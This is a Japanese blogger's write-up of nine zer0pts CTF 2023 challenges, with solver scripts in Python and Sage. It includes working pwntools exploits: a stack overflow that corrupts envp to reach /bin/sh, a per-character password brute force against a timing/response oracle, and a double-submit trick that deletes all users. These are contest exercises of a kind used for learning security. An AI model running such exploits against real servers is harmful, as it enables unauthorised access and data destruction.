9問解いて50位。
welcome (welcome)
Discord。
zer0pts{3nj0y_th3_CTF_t0_W1N2023!!!!}
survey (survey)
Googleフォーム。
zer0pts{th4nk5_f0r_g1v1ng_u5_th3_f33db4ck!!}
decompile me (reversing, warmup)
Reverse engineering is getting easier thanks to IDA/Ghidra decompiler!
ありがたいことです。
で、Ghidraで開いてみると、入力したフラグをRC4で暗号化して、暗号化した結果を memcmp
で比較している。RC4の暗号化と復号は同一の処理なので、比較対象を復号すれば良い……で解けるわけはない。
Ghidraで渡しているように見える引数は使っていなくて、別のレジスタで本当の引数を渡していた。memcmp
は、libcの memcmp
ではなく問題バイナリの中にあって、この自前の関数の中で比較対象の値は固定になっている。
#K = bytes.fromhex(
# "bebafecaefbeadde"
#)
K = bytes.fromhex(
"3109811919144511"
)
#C = bytes.fromhex(
# "0809dccf97888cd0a133e591d9cec6bc"+
# "3bacbd59b7cab02ddf34d63f5b93cddc"+
# "8deb114555735d0a8a2d608c3ed0511d"+
# "d774499a459a2a69748c0072ed881aff"+
# "ffb70def731f907dc5be4fa5b2296a5e"+
# "0797c1a4fcc0682702eb0b61c0c3bda3"+
# "b9c0a96cf84bd77f7d637df7e0570081"+
# "898ba27beeaa53fbd92d2ef16d8c24e0"
#)
C = bytes.fromhex(
"78cfc485dc33074c9335fb7c108ebe93"+
"28e62e75da5e85c591157589480e29a4"+
"f9a63a6e1f84f742b09331f068c04338"+
"07320957da3244cfcd8fe5bfe3d6bb59"+
"9a6a8485d322a98eb5eabd57deb16c93"+
"e47470ac1a03d9169fbc97fb85d9a69e"+
"d4d60259d528b39316b6c478c4a212d2"+
"efb15418fd7651a35e57b8584b1ee241"
)
S = [0]*256
for i in range(256):
S[i] = i
j = 0
for i in range(256):
j = (j+S[i]+K[i%len(K)])%256
S[i], S[j] = S[j], S[i]
i = 0
j = 0
X = []
while len(X)<len(C):
i = (i+1)%256
j = (j+S[i])%256
S[i], S[j] = S[j], S[i]
X += [S[(S[i]+S[j])%256]]
P = bytes(c^x for c, x in zip(C, X))
print(P.decode())
$ python3 solve.py
zer0pts{d0n'7_4lw4y5_7ru57_d3c0mp1l3r}
zer0pts{d0n'7_4lw4y5_7ru57_d3c0mp1l3r}
aush (warmup, pwn)
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define LEN_USER 0x10
#define LEN_PASS 0x20
int setup(char *passbuf, size_t passlen, char *userbuf, size_t userlen) {
int ret, fd;
// TODO: change it to password/username file
if ((fd = open("/dev/urandom", O_RDONLY)) == -1)
return 1;
ret = read(fd, passbuf, passlen) != passlen;
ret |= read(fd, userbuf, userlen) != userlen;
close(fd);
return ret;
}
int main(int argc, char **argv, char **envp) {
char *args[3];
char inpuser[LEN_USER+1] = { 0 };
char inppass[LEN_PASS+1] = { 0 };
char username[LEN_USER] = { 0 };
char password[LEN_PASS] = { 0 };
if (system("/usr/games/cowsay Welcome to AUSH: AUthenticated SHell!") != 0) {
write(STDOUT_FILENO, "cowsay not found\n", 17);
return 1;
}
/* Load password and username file */
if (setup(password, LEN_PASS, username, LEN_USER))
return 1;
/* Check username */
write(STDOUT_FILENO, "Username: ", 10);
if (read(STDIN_FILENO, inpuser, 0x200) <= 0)
return 1;
if (memcmp(username, inpuser, LEN_USER) != 0) {
args[0] = "/usr/games/cowsay";
args[1] = "Invalid username";
args[2] = NULL;
execve(args[0], args, envp);
}
/* Check password */
write(STDOUT_FILENO, "Password: ", 10);
if (read(STDIN_FILENO, inppass, 0x200) <= 0)
return 1;
if (memcmp(password, inppass, LEN_PASS) != 0) {
args[0] = "/usr/games/cowsay";
args[1] = "Invalid password";
args[2] = NULL;
execve(args[0], args, envp);
}
/* Grant access */
args[0] = "/bin/sh";
args[1] = NULL;
execve(args[0], args, envp);
return 0;
}
一目で分かるスタックバッファオーバーフローの脆弱性がある。しかし、スタックの配置はこう。
rbp-0xa0: args[0]
rbp-0x98: args[1]
rbp-0x90: args[2]
rbp-0x80: username
rbp-0x70: inpuser
rbp-0x50: password
rbp-0x30: inppass
rbp-0x08: canary
カナリアをどうするという話の前に、 memcmp(username, inpuser, LEN_USER)
を通さないといけないが、 username
が書き換えられない。 execve
は、 system
と違って自分自身のプロセスが指定したコマンドになるので、呼び出された時点で終わり。というか、 execve
が返ってくるのだったら、最後の execve("/bin/sh", ...)
が実行されるか。
適当に長い文字列を突っ込むと、 *** stack smashing detected ***
で落ちることに気が付いた。 execve
が呼び出されていたらこうはならないはずでは……? スタックの下のほうにある envp
のポインタを壊すと、 execve
の呼び出しは失敗するらしい。へー。セグフォで落ちるわけでもない。新しいプログラムに envp
を引き継ぐために何か頑張っているのだろうか。
ということで、次のようにすれば良い。
- ユーザー名の入力で
envp
を壊して、execve
を失敗させ、処理を継続させる - パスワードの入力で
envp
を失敗しないような状態にして、パスワードの比較は通るようにする-
envp
を直した状態でパスワードの比較に失敗すると、execve
が動いてしまうので
-
- 最後の
execve("/bin/sh", ...)
が動く
from pwn import *
s = remote("pwn.2023.zer0pts.com", 9006)
s.sendlineafter(b"Username: ", b"a"*0x198+bytes([0xff, 0xff]))
s.sendlineafter(b"Password: ", b"a"*0x158+bytes([0x00, 0x00]))
s.interactive()
envp[0]
が、下位2バイトが ff ff
ならアクセス不可で、 00 00
がアクセス可能な状態なら通る。何度か試せば良い。
$ python3 attack.py
[+] Opening connection to pwn.2023.zer0pts.com on port 9006: Done
[*] Switching to interactive mode
$ cat flag*
zer0pts{p0lLut3_7h3_3nv1r0nnnNNnnnNnnnnNNNnnNnnNn}
$
zer0pts{p0lLut3_7h3_3nv1r0nnnNNnnnNnnnnNNNnnNnnNn}
NetFS 1 (warmup, misc)
:
def authenticate(self):
:
with Timeout(30):
# Receive password
self.response(b"Password: ")
i = 0
while i < len(password):
c = self._conn.recv(1)
if c == b'':
return
elif c != password[i:i+1]:
self.response(b"Incorrect password.\n")
return
i += 1
if self._conn.recv(1) != b'\n':
self.response(b"Incorrect password.\n")
return
:
パスワードを途中まで入力した時点で、そこまでの入力が間違っていれば Incorrect password.
が返ってくるし、正しければ次の入力を待つようになっている。1文字ずつ総当たり。
from pwn import *
context.log_level = "error"
password = ""
while True:
#for c in "abcdefghijklmnopqrstuvwxyz0123456789":
for c in "0123456789abcdef":
s = remote("misc.2023.zer0pts.com", 10021)
s.sendlineafter(b"Username: ", b"admin")
s.sendafter(b"Password: ", (password+c).encode())
t = s.recvline(timeout=10)
s.close()
if b"Incorrect password." not in t:
password += c
print(password)
break
else:
break
$ python3 attack.py
d
dd
dd7
dd79
dd79e
dd79ef
dd79efc
dd79efc4
dd79efc40
dd79efc409
dd79efc4093
dd79efc4093c
dd79efc4093c9
dd79efc4093c93
dd79efc4093c932
dd79efc4093c9326
$ nc misc.2023.zer0pts.com 10021
Username: admin
Password: dd79efc4093c9326
Logged in.
File: secret/flag.txt
zer0pts{d0Nt_r3sp0nd_t00_qu1ck}
File: secret/password.txt
dd79efc4093c9326
File:
zer0pts{d0Nt_r3sp0nd_t00_qu1ck}
NetFS 2 (misc)
解けなかった。
su
command delays for few seconds when I enter an invalid password. I added the feature to NetFS authentication.
:
class Timeout(object):
def __init__(self, seconds):
self.seconds = seconds
self.start = None
def handle_timeout(self, signum, frame):
raise TimeoutError('Timeout')
def wait(self):
signal.alarm(0)
while time.time() - self.start < self.seconds:
time.sleep(0.1)
time.sleep(random.random())
def __enter__(self):
signal.signal(signal.SIGALRM, self.handle_timeout)
signal.alarm(self.seconds)
self.start = time.time()
return self
def __exit__(self, _type, _value, _traceback):
signal.alarm(0)
time.sleep(random.random())
:
def authenticate(self):
:
with Timeout(5) as timer:
# Receive password
self.response(b"Password: ")
i = 0
while i < len(password):
c = self._conn.recv(1)
if c == b'':
timer.wait()
self.response(b"Incorrect password.\n")
return
elif c != password[i:i+1]:
timer.wait()
self.response(b"Incorrect password.\n")
return
i += 1
if self._conn.recv(1) != b'\n':
timer.wait()
self.response(b"Incorrect password.\n")
return
:
def pynetfs_main(conn):
nfs = PyNetworkFS(conn)
try:
nfs.authenticate()
except TimeoutError:
nfs.response(b'Incorrect password.\n')
:
タイムアウトの時間まで待ってからエラーを返すようになった。
本当のタイムアウトなら5秒後きっかり、パスワードの検証失敗なら、0.1秒ずつ5秒まで待って、その後1秒未満のランダムな時間ウエイト。ここで見分けられるかと思ったが、試行回数を増やしても全然安定しない。
この記事を書いている今気が付いたけど、本当のタイムアウトでも1秒未満のランダムな時間のウエイトが入っている……? 分からん。
easy_factoring (crypto)
import os
import signal
from Crypto.Util.number import *
flag = os.environb.get(b"FLAG", b"dummmmy{test_test_test}")
def main():
p = getPrime(128)
q = getPrime(128)
n = p * q
N = pow(p, 2) + pow(q, 2)
print("Let's factoring !")
print("N:", N)
p = int(input("p: "))
q = int(input("q: "))
if isPrime(p) and isPrime(q) and n == p * q:
print("yey!")
print("Here you are")
print(flag)
else:
print("omg")
def timeout(signum, frame):
print("Timed out...")
signal.alarm(0)
exit(0)
if __name__ == "__main__":
signal.signal(signal.SIGALRM, timeout)
signal.alarm(30)
main()
signal.alarm(0)
$N=p^2+q^2$ から素数 $p$ と $q$ を求める。
平方数の和で数を表すとか良くある問題っぽいし、ググれば何とかなるだろと思ったけど、意外と難しい。
- 整数 $n$ を平方数の和で表せるとき、 $n$ を素因数分解すると、$4k+3$ となる素因数の指数は偶数になる
- $p=4k+1$ となる奇素数 $p$ は平方数の和で表せる
- 平方数の和で表せる $n=a^2+b^2$ と $m=c^2+d^2$ があるとき、 $nm$ も $nm = (ac+bd)^2+(ad-bc)^2$ として平方数の和で表せる
- $a$ と $b$ などが入れ替えられるので、これは一意ではない
- $p=4k+1$ となる奇素数 $p$ は平方数の和で表す方法は一意
$N$ を素因数分解する。指数が2以上の素因数が出てきたら諦める。そうすると、素因数は全て(2か) $p=4k+1$ の奇素数のはずなので、平方数の和で表す。これの組み合わせを試しながら、$N$ を平方数の和で表す方法を求める。素数が2個出てきたらOK。という方法で解けそう。
奇素数を平方数の和で表すのは、次の記事を参照した。
# returns x, y s.t. x**2+y**2==p
def sqsum(p):
# https://gist.github.com/junpeitsuji/11accb59325c72a80defb30c64a6a7d6
# x**2 = -1 mod p
for b in [3, 5, 7, 11, 13, 17, 19]:
x = pow(b, (p-1)//4, p)
if pow(x, 2, p)==p-1:
break
y = 1
k = (x**2+y**2)//p
while k>1:
xk = x%k
if xk>abs(xk-k):
xk = xk-k
yk = y%k
if yk>abs(yk-k):
yk = yk-k
k, x, y = (
(xk**2+yk**2)//k,
(x*xk+y*yk)//k,
(x*yk-y*xk)//k,
)
return abs(x), abs(y)
N = int(input("N: "))
P = []
for p in factor(N):
if p[1]!=1:
print("NG")
exit(0)
P += [p[0]]
XY = [sqsum(p) for p in P]
for b in range(2**len(XY)):
x = 1
y = 0
for i in range(len(XY)):
x2, y2 = XY[i] if b>>i&1 else XY[i][::-1]
x, y = (abs(x*x2+y*y2), abs(x*y2-y*x2))
if x in Primes() and y in Primes():
print(f"p: {x}")
print(f"q: {y}")
break
$ nc crypto.2023.zer0pts.com 10333
Let's factoring !
N: 178011679983101930410831313632494458984231634942524737949487081021206744691290
>docker run --rm -it -v %CD%:/host sagemath/sagemath sage /host/solve.sage
N: 178011679983101930410831313632494458984231634942524737949487081021206744691290
p: 295015923305939223518806046311391467703
q: 301624410449562448043443107328944647491
Let's factoring !
N: 178011679983101930410831313632494458984231634942524737949487081021206744691290
p: 295015923305939223518806046311391467703
q: 301624410449562448043443107328944647491
yey!
Here you are
b"zer0pts{piyopiyo_Fermat's_Sum_of_Square_meow!!}"
zer0pts{piyopiyo_Fermat's_Sum_of_Square_meow!!}
mimikyu (reversinig)
ELFバイナリなのに LoadLibraryA
とか出てくる。 LoadLibraryA
が出てくるが GetProcAddress
ではなく ResolveModuleFunction
という(独自の?)関数で関数のアドレスを取得している。何かのハッシュ値で関数を指定していて、どの関数なのかパッと見分からない。
GDBで動かしながら、実際にどの関数が呼び出されているのかを調べると、こういう処理をしている。
cap(x) {
h = hcraete(x);
for (i=0; ; i++) {
s = __gmp_sprintf("%Zd", i);
if (hsearch({s, NULL}, ENTER)==NULL)
break;
}
i--;
return i;
}
int main(int argc, char **argv) {
srand(*main);
for (int i=0; i<0x28; i++) {
if (!isprint(argv[1][i]))
failed;
}
for (int i=0; i<0x28; i+=4) {
mod = 1;
for (int j=0; j<3; j++) {
putchar('.');
mod *= cap(rand()%0x10000);
}
base = *(unsigned int *)(argv[1]+i);
exp = cap(rand()%0x10000);
if (__gmpz_powm(base, exp, mod)!=enc[i])
failed;
}
}
一部の変数は、GMPの多倍長整数。hsearch
とか何かと思ったけど、(Cの標準ライブラリに?)ハッシュテーブルを扱う関数があるらしい。へー。
hcreate
の引数はハッシュテーブルのサイズで、追加できなくなるまでの回数を数えているから、 cap
は引数をそのまま返す関数かと思ったけど……微妙にずれる。
GDBで動かしながら、exp
や mod
の値を1個ずつ調べた。面倒だった。
for exp, mod, enc in [
(0xf0d3, 0x2350f23a0dff, 0x0fe4c025c5f4),
(0x085f, 0x32d18e9d4d33, 0x1b792ff17e8a),
(0x8e63, 0x03866cd71f1b, 0x0183b156ab40),
(0x8249, 0x10ae9be3fc8f, 0x0beffcf5e5da),
(0xc6a1, 0x09d942eff67d, 0x0297cf86e251),
(0x0c6d, 0x1de2e3aa8bb1, 0x0eb3edc1d4b4),
(0xaef5, 0x103fc65841f3, 0x00fa10ce3a08),
(0xd5df, 0x011a0970edc9, 0x002bdd418672),
(0xe68d, 0x5f8d20bddf39, 0x5ebb5050ea46),
(0xf3fb, 0x45b14e11e0ed, 0x05bf9b73cf86),
]:
for c0 in range(0x20, 0x7f):
for c1 in range(0x20, 0x7f):
for c2 in range(0x20, 0x7f):
for c3 in range(0x20, 0x7f):
c = c3<<24|c2<<16|c1<<8|c0
if pow(c, exp, mod)==enc:
print(chr(c0)+chr(c1)+chr(c2)+chr(c3))
$ python3 solve.py
zer0
pts{
L00k
_th3
_1nt
3rn4
l_0f
_l1b
r4r1
3s!}
フラグを見るに、 hsearch
などの実装を追うのが想定解法だったか……?
zer0pts{L00k_th3_1nt3rn4l_0f_l1br4r13s!}
SquareRNG (crypto, warmup)
#!/usr/bin/env python3
import os
from Crypto.Util.number import getPrime, getRandomRange
def isSquare(a, p):
return pow(a, (p-1)//2, p) != p-1
class SquareRNG(object):
def __init__(self, p, sa, sb):
assert sa != 0 and sb != 0
(self.p, self.sa, self.sb) = (p, sa, sb)
self.x = 0
def int(self, nbits):
v, s = 0, 1
for _ in range(nbits):
self.x = (self.x + 1) % p
s += pow(self.sa, self.x, self.p) * pow(self.sb, self.x, self.p)
s %= self.p
v = (v << 1) | int(isSquare(s, self.p))
return v
def bool(self):
self.x = (self.x + 1) % self.p
t = (pow(self.sa, self.x, self.p) + pow(self.sb, self.x, self.p))
t %= self.p
return isSquare(t, self.p)
p = getPrime(256)
sb1 = int(input("Bob's seed 1: ")) % p
sb2 = int(input("Bob's seed 2: ")) % p
for _ in range(77):
sa = getRandomRange(1, p)
r1 = SquareRNG(p, sa, sb1)
print("Random 1:", hex(r1.int(32)))
r2 = SquareRNG(p, sa, sb2)
print("Random 2:", hex(r2.int(32)))
guess = int(input("Guess next bool [0 or 1]: "))
if guess == int(r1.bool()):
print("OK!")
else:
print("NG...")
break
else:
print("Congratz!")
print(os.getenv("FLAG", "nek0pts{*** REDACTED ***}"))
何をしているのかパッと見では分からん。整理すると、
- 向こうが素数 $p$ を決める
- こちらが整数 $s_{b1}$ と $s_{b2}$ を決める
- 以降を77回繰り返して、全て成功すればクリア
- 向こうが整数 $s_a$ を決める
- $s_b = s_{b1}, s_{b2}$ と $1\leq x \leq 32$ について、 $1+s_a^1 s_b^1 + s_a^2 s_b^2 + \dots + s_a^x s_b^x$ が法 $p$ について平方剰余かどうかを教えてくれる
- $s_a^{33} + s_{b1}^{33}$ が法 $p$ で平方剰余かどうかを答える
平方剰余はこれ。要は、法 $p$ で平方根があるかどうかということ。
乗算は分かりやすい。平方剰余か平方非剰余同士の積は、平方剰余になる。平方剰余と平方非剰余の積は平方非剰余。 $x^n$ について、$x$ が平方剰余なら常に平方剰余、 $x$ が平方非剰余なら $n$ が偶数のときだけ平方剰余。
一方、加算はそんな便利な法則は無いはず。$s_{b1}=0$ にすれば加算が消せるかと思ったけど、防がれていた。
$n$ ビットの乱数を作るときは1ビットの乱数を $n$ 個組み合わせるのが自然だが、この問題の実装ではそうなっていない。
$1+x^2+x^3+\dots+x^n$ みたいな式って高校数学あたりで見た気がするんだよなぁ……。これだ。
x^{33}-1 = (x-1)(1+x+x^2+\dots+x^{32})
$s_{b1}=-1$, $s_{b2}=1$ とすれば、$s_a^{33}-1$ が平方剰余かどうかを答える問題になる。
s_a^{33}-1 = -1 \cdot (1-s_a)(1+s_a+s_a^2+\dots+s_a^{32})
で、$1-s_a$ と $1+s_a+s_a^2+\dots+s_a^{32}$ が平方剰余かどうかは得られる。$-1$ が平方剰余かどうかは $p$ によって決まるので、決め打ちで何回か試せば良い。
from pwn import *
s = remote("crypto.2023.zer0pts.com", 10666)
s.sendlineafter(b"Bob's seed 1: ", b"-1")
s.sendlineafter(b"Bob's seed 2: ", b"1")
for _ in range(77):
s.recvuntil(b"Random 1: 0x")
r1 = int(s.recvline()[:-1].decode(), 16)
s.recvuntil(b"Random 2: 0x")
r2 = int(s.recvline()[:-1].decode(), 16)
b = (r1>>31)^(r2&1)
s.sendlineafter(b"Guess next bool [0 or 1]: ", str(b).encode())
assert s.recvline()[:-1]==b"OK!"
print(s.recvline()[:-1].decode())
print(s.recvline()[:-1].decode())
$ python3 solve.py
[+] Opening connection to crypto.2023.zer0pts.com on port 10666: Done
Traceback (most recent call last):
File "/mnt/d/documents/ctf/zer0pts2023/SquareRNG/solve.py", line 15, in <module>
assert s.recvline()[:-1]==b"OK!"
AssertionError
[*] Closed connection to crypto.2023.zer0pts.com port 10666
$ python3 solve.py
[+] Opening connection to crypto.2023.zer0pts.com on port 10666: Done
Congratz!
zer0pts{L(a)L(b)=L(ab)}
[*] Closed connection to crypto.2023.zer0pts.com port 10666
zer0pts{L(a)L(b)=L(ab)}
Warmuprofile (web, warmup)
1人ごとにインスタンスを立てるタイプの問題。これは……、prototype pollution → 違いました。
ユーザー登録型ウェブサイト。adminならフラグが読める。adminのパスワードは分からない。重複したユーザー名で登録することができないので、adminという名前で登録するのも不可。
:
app.get('/user/:username/delete', needAuth, async (req, res) => {
const { username } = req.params;
const { username: loggedInUsername } = req.session;
if (loggedInUsername !== 'admin' && loggedInUsername !== username) {
flash(req, 'general user can only delete itself');
return res.redirect('/');
}
const user = await User.findOne({
where: { username: loggedInUsername }
});
res.render('delete', {
chall_name: CHALL_NAME, flash: getFlash(req),
loggedIn: req.session.loggedIn, user, username
});
});
app.post('/user/:username/delete', needAuth, async (req, res) => {
const { username } = req.params;
const { username: loggedInUsername } = req.session;
if (loggedInUsername !== 'admin' && loggedInUsername !== username) {
flash(req, 'general user can only delete itself');
return res.redirect('/');
}
// find user to be deleted
const user = await User.findOne({
where: { username }
});
await User.destroy({
where: { ...user?.dataValues }
});
// user is deleted, so session should be logged out
req.session.destroy();
return res.redirect('/');
});
:
ユーザーの削除処理が何か変。Sequelizeというライブラリを使っていて、
普通は user.destroy()
となる。問題のコードの書き方は、 DELETE
文の WHERE
句を指定する感じらしい。 User.findOne(...)
でユーザの取得に失敗したときどうなる?
- ユーザー登録する
- シークレットウィンドウなどで、2重にログインする
- どちらも、(GETで)
/user/:username/delete
に行く - どちらも、「本当に削除する」ボタンをポチる
- 後からポチったほうは
User.findOne
が失敗し、条件が空でUser.destroy
が実行されて、全ユーザーが削除される - adminという名前で登録してフラグが覗ける
実装ミスで全ユーザーが削除されるの怖すぎワロタ。
こんな話もあったな。
zer0pts{fire_ice_storm_di_acute_brain_damned_jugem_bayoen_bayoen_bayoen_10cefab0}